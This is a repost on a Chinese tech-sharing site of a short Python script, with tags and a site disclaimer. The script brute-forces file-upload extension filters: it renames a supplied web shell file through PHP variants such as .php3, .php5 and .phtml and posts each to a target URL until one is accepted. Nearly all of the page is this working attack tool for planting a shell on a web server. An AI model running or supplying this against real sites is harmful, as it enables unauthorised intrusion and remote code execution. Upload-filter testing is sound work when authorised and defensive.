标签:__ 扩展名 Python self filename url file 上传 options
1 import requests 2 import sys 3 import optparse 4 import os 5 6 7 class ExtensionTest: 8 def __init__(self) -> None: 9 self.url = self.get_params()[0] 10 self.filename = self.get_params()[1] 11 self.extension_list = ['.php', '.php2', '.php3', '.php4','.php5', '.phtml'] #Possible extension to try 12 13 14 def get_params(self): 15 parser = optparse.OptionParser("Usage: <Program> -u url -f shell file") 16 parser.add_option('-u', '--url', dest='url', type='string', help='Specify target url') 17 parser.add_option('-f', '--filename', dest='filename',type='string', help='Specify shell filename') 18 options, args = parser.parse_args() 19 if options.url is None or options.filename is None: 20 print(parser.usage) 21 sys.exit(0) 22 23 if not os.path.exists(options.filename): 24 print("The shell file does not exist") 25 sys.exit(0) 26 27 return options.url, options.filename 28 29 30 def file_upload(self, filename): 31 headers = { 32 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0' 33 } 34 try: 35 with open(filename, 'rb') as f: 36 file_dict = {'file':f} #键名要与实际的form表单中的文件部分一致,否则出现莫名其妙的错误,这个不是文件名 37 response = requests.post(self.url, files=file_dict) 38 39 return response.text 40 except: 41 return None 42 43 def run(self): 44 for ext in self.extension_list: 45 filename = self.filename.split('.')[0] + ext 46 print('[-] Try %s' %filename) 47 os.rename(self.filename, filename) 48 49 response = self.file_upload(filename) 50 51 if response: 52 if "Extension not allowed" in response: 53 print('%s not allowed' % ext) 54 os.rename(filename, self.filename) 55 else: 56 57 print("%s allowed" % ext) 58 sys.exit(0) 59 60 61 if __name__ == "__main__": 62 ext = ExtensionTest() 63 ext.run()
标签:__,扩展名,Python,self,filename,url,file,上传,options 来源: https://www.cnblogs.com/jason-huawen/p/16292937.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。